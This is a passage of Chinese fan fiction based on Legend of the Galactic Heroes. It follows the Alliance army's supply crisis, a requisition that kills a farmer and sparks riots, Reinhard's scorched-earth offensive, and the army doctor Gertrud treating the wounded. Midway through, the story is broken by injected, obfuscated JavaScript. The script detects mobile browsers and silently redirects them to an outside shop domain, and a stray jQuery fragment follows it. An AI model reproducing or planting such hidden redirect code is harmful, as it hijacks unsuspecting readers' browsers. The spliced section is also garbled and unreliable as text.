同盟军深入帝国边境后第六周,补给迅速告急。
出征前,统合作战本部信誓旦旦地保证可提供充足的军需物资。
但现实是另一回事。
帝国军的撤退超出了他们的预想,对方连一座能用的粮仓都没留下,而作为自诩“解|放”的“义军”,必要满足当地民众的基本生活需求才行。
于是他们立刻向民众发放物资,并向后方发出物资补充申请。
负责统筹军需的卡介伦几乎被雪片一样的物资申请淹没,而当他把困境告知总司令罗波斯元帅时,这位老将竟然说:“虽然要求是大了点,但我国的占领政策是要尽量满足前线的要求,这也是逼不得已的。物资会运过来的……”
撺掇政客们发动战争自己却躲在后方的霍克准将无视了卡介伦“敌方可能攻击输送船队,试图切断我军补给线”的警告。
“到最前线之间的宙域是在我军的占领之下,我想不必如此担心吧?不过,为防万一还是派些护卫舰较好。”
“原来如此,只是预防万一啊!”
卡介伦顺势挖苦了一番。
至于霍克会怎么想,管他的呢!
杨,拜托你一定要活着回来——卡介伦在心中如此呼唤着友人。
他不由得想,为这场战争而死未免太傻了。
巨大的补给压力在同盟国内引发了关于“是否撤兵”的激烈争论,但最终仍以主战派获胜,理由冠冕堂皇——“在前线出现任何结果之前,不该对军队的行动加以限制。”
与此同时,统合作战本部下达了指令——在本国物资送达之前,必要的物资由各舰队在当地调度。
命令传达下来时,同盟军各舰队的指挥官脸色为之一变。
“从当地‘调度’?要我们去干掠夺的勾当?”
“远征军总司令部到底在想些什么?想当海盗头子吗?”
“补给计划的失败是战略上失败的第一步。这可是军事上的常识,硬要把这个责任推给前线!”
“司令部不是说有万全的补给体制吗?当初说的大话如今到哪里去了!”
“本来就没有的东西如何去‘调度’呢?”
但再怎么抱怨,深入帝国腹地的前线指挥官们也无法凭空变出粮食。
物资短缺加剧了人心离乱,士兵们不甘心,撬开帝国军留下的每一座物资仓库,只看到空荡荡的架子和地上散落的霉粮。
第七舰队停止物资供应并发出征粮公告后,其占领区域首先爆发了冲突。
一位叫维托尔的农场主交出了地窖里的三十袋小麦,说这是留到春天的种子,同盟士兵要全部搬走。
维托尔苦苦哀求:“种子没了,明年的收成就完了!”
士兵们互相看了一眼,有个人蹲下来,想帮他把种子留一半。
但带队的军官说:“这是命令。我们也要活。”
维托尔忽然扑上去,死死抱住其中一袋种子不放手,士兵去拉他,他张嘴咬住了士兵的手腕。
现场一下乱了。
枪托砸在维托尔的背上、肩上,他的妻子从屋里冲出来,被两个士兵拦住,几个孩子缩在门后,睁大了眼睛,不敢出声。
种子被搬走了。
维托尔倒在地上,嘴里流着血,嘴唇还在动,他妻子抱着他,哭得整个人都在抽搐。
那天晚上,维托尔死了。
他的死像一根导火索,很快点燃了整个村镇。
农民们抄起铁叉和猎抢,围住了镇上的物资征收点。
同盟军开枪示警,有人倒下,有人继续反抗,火把在夜色里飞来飞去,照亮了半个镇子,等到天亮时,整条街都烧焦了。
士兵们看着废墟上还在冒烟的木梁,谁也没说话——他们只是执行命令,没想过会这样。
——类似的消息,陆陆续续传到帝国军情报站。
莱因哈特正在旗舰上和奥贝斯坦核对进攻路线,副官递上情报,说同盟占领区已有多处爆发民|变。
他看后,脸上没有多余的表情,对奉召而来的吉尔菲艾斯说:“侦察所得由伊谢尔伦向前线派遣了输送舰队,那是敌方的生命线。我要你率领交派给你的全部兵力前去攻击,务求全歼敌军,细节的运作则由你自行裁定。”
行了一礼之后回过身去的吉尔菲艾斯,在走了几步后突然被莱因哈特叫住了。
对疑惑地转过头来的好友,年轻的元帅说道:“这是为了胜利,吉尔菲艾斯。”
吉尔菲艾斯没有说什么,行了个军礼,转身出去。
莱因哈特目送他的背影消失在舱门外,才慢慢靠回指挥椅,对留在原他的其他诸将说:“吉尔菲艾斯提督击破叛乱军输送舰队的同时,我方将发动全面攻势。在此时放出假情报,就说输送舰队受到攻击但平安无事。这是要防止叛乱军断绝最后希望而做出破釜沉舟之举。同时也是要使他们察觉不到我军的攻势——当然他们终究会发觉的,但越迟越好。”
他想起那些边境行星上的火光。
那些火不是他点的,但火能烧起来,是因为他把那些行星让了出去。
他闭上眼睛,只一瞬,然后重新睁开:“而我军补给部队在夺回被占领地的同时,也要第一时间供与住民足够的粮食物资。虽是为了对抗叛乱军侵略的需要,但让陛下的臣民忍受饥饿,并非我军的本意。另外,这也是对边境的住民显示,只有帝国才有统治能力及负此责任的事实。”
舱门在身后合上时,吉尔菲艾斯站在走廊里,没有立刻走。
他知道莱因哈特大人的决定在军事上是正确的。
彻底切断补给线,加速敌军崩溃,他们则不必再打一场又一场绞肉式的正面会战。
可他也知道,被逼到绝路的敌军势必会与占领区的平民闹得十分残忍难看。
他又想起了格特鲁德小姐。
他觉得以她的性格不会待在后方,她一定会去有需要的地方。
现在,她在哪里?是在某座拥挤的医疗港里,还是在哪颗被打烂的行星上?
他不知道,也不敢想——格特鲁德小姐会怎么看待这件事。
她会猜到莱茵哈特大人制定了坚壁清野的策略吗?
也许她已经猜到了,只是什么都不说——她会用那双冰蓝色的眼睛看他一眼,然后继续去做她的事。
可正是那种“什么都不说”,才让人最难受。
这些年,他们之间有过很多默契,有些事不必问,有些话不必说。
但现在,这种默契变成了一种压力。
他睁开眼,朝舰桥另一端的升降梯走去,准备执行命令。
在走进升降梯前,他忽然想:格特鲁德小姐,如果你现在也在前线,请一定别有事。
格特鲁德出发的那天,奥尔布里希中将亲自来了。
他站在登舰口,一张脸绷得死紧:“前线现在是什么情况,你比我清楚……叛乱军断粮,占领区还有民|变。你干嘛非得往那儿跑?”
格特鲁德平静地看着他:“阁下,我是军医。军医不能离开一线。”
奥尔布里希张了张嘴,最终没有再劝,重重叹了口气:“自己当心。”
格特鲁德朝他行了个礼,转身上了运输舰。
接下来的时间里,格特鲁德辗转了三座医疗港和一颗行星,其中第三座医疗港是最靠近前线的一个。
帝国军正分头追击同盟军各舰队,到处都在打遭遇战。
战线拉得很散,伤员从不同方向送来,伤情种类杂得让医官们手忙脚乱。
格特鲁德和专案组把这里当成了战时分级分诊的实战考场。
她要求每一个送进来的伤员必须在两分钟内完成初步评估,负责转运的医疗兵必须在伤标上写明致伤原因和部位。
这套系统在真实战场上第一次经受了考验,分级清晰,分工明确——外科组在常规舱室做清创,她和资深医官在主手术室处理最复杂的伤情。
有一名同盟军战俘送来时已经休克,肩部被撕开,断骨从皮肤下戳出来,创面全部烧焦。
格特鲁德给他做了清创和血管吻合,又用可吸收补片修复了撕裂的肩腱,手术持续了三个多小时。
那个同盟士兵术后醒来,发现自己的左臂还在,却被告知他的舰队已经溃散,眼泪一下子就掉了下来——或许他也不知道这场战争至此还有什么意义。
格特鲁德从旁边走过,看了一眼监护仪,什么也没说,又去看下一个伤员了。
在行星上的经历,是她这一路最不愿意回想的。
那颗行星叫卡莱纳,以农业生产为主。
同盟军撤退时,和当地民|团发生了激烈冲突,双方都死了人。
帝国军收复这个星球后,格特鲁德带着小组下去做伤亡评估。
她看到的是一片焦黑——整条街被烧成空壳,断墙之间还插着没被炸碎的窗框。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831907|207854||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>几个幸存者蹲在废墟里,想从灰堆里翻出一点还能用的东西。
空气里飘着东西烧焦后特有的、又酸又臭的气味。
被派来整顿安抚的地方官员领着她们看现场,说:“农民自己点的火,也有同盟军走时烧的。分不清了。”
格特鲁德没有接话,只问:“伤员在哪里?”
地方官员指了指前方一座临时搭建的医疗点。
里面躺着一些伤员,其中有一个女孩,十四五岁,腿被倒塌的墙壁压过——她的父亲和弟弟已在之前的冲突中死亡。
格特鲁德蹲下来检查,发现她的小腿已经坏死,必须截掉。
女孩的母亲守在旁边,眼泪已经流干了,木然地对格特鲁德重复着:“我女儿喜欢跳舞。她喜欢跳舞……”
格特鲁德让人去准备手术器材,然后对女孩说:“别害怕。我尽量保住你的腿。”
这句话只是安慰,但此刻这个女孩需要听的不是实话,而是能让她在昏过去之前不那么害怕。
随后她又做了两例激光创伤手术。
两个伤员都是平民,暴|动时被同盟军激光枪扫中,一个伤在胸口,但未触及心脏;另一个伤在肩胛。
格特鲁德站在临时医疗舱里,一边做手术,一边对实习医官说:“你们看清楚,这种创伤的焦化边缘要全部清理,不然术后感染会直接要命。不要过度依赖手术机器人,精细操作需要人工研判和干预。”
她的声音很平,像在讲一堂普通的课,但手术结束后,她站在那片焦黑的村子边上,站了很久。
远处硝烟未散,风把烟吹得很低。
她想起莱因哈特。
她不知道如果他知道这里是什么样子,会作何感想。
也许他知道,只是他不能停下来。
如果他停下来,这场战争就不会结束,他和他麾下的将领、舰队将被拖入漫长的消耗战,最后被大贵族以“出征不利”的理由攻讦,甚至被军务省限制指挥权。
回到医疗港后,格特鲁德继续做手术。
烧伤、穿刺伤、多发性骨折、急性辐射伤……
有时候她会连续站上十几个小时,护理兵送来餐食,她只来得及吃几口;夜里和一群医官坐在医疗舱门口打盹,外面有新伤员送来,就立刻站起来。
前线军医这样的工作节奏很正常,但格特鲁德知道自己只是不想停下来——只要停下来,她就会想起那片焦黑的村庄、那个喜欢跳舞的女孩。
帝国军总旗舰伯伦希尔的通信官从座席上站了起来,兴奋得发红的脸朝向莱因哈特。
“吉尔菲艾斯提督传来捷报:敌输送船队全军覆没,护卫舰二十六艘也完全被破坏。我方的损失只有战舰一艘受中度损伤,以及十四架王尔古雷……”
欢呼声席卷了整个舰桥。
伊谢尔伦要塞沦陷以来,虽说是为了战略上的需要,但对于屡次不战而退的帝国军而言,可是许久未有的胜利快感了。
“米达麦亚中将、罗严塔尔中将、毕典菲尔特中将、坎普中将、梅克林格中将、瓦列中将、鲁兹中将,你们照事先计划进行,以全部战力对叛军发动总攻击。”
莱因哈特向待机中的诸将发令了。
在一声“遵命”之后,随即欲赶赴前线的提督们,被莱因哈特叫住了。
他命令侍从端来了美酒,以预祝战争的胜利。
“我们已经胜券在握。现在必须使它成为彻彻底底的胜利。别让那些不知天高地厚的叛乱军有机会生还,一切条件都已成熟。愿大神奥丁的恩宠加诸众卿之身。干杯!”
“干杯!”
众提督唱和之后,喝干了杯中的美酒,依照习俗将酒杯掷落地板。
无数的光亮碎片在地扳上华丽地乱舞着。
待诸将走出之后,莱因哈特仍旧屹立不动,静静地注视着外面漆黑无边的宇宙。
他在其中看到了比散落在地板上玻璃碎片的光芒更为冰冷、更为无机质的光芒之群。
但是,他打心底里喜欢那些光芒。
就是为了要将那些光芒尽收手中,现在自己才会身在此处的。
他望着那些光芒,忽然想起另一束光。
不是星星,是窗前的灯,还有那句偶尔从脑海深处冒出的话——“人命不是柴火”。
……她应该不会喜欢这种胜利吧。
但他也不能让自己在这个时候想得太深——他必须向前。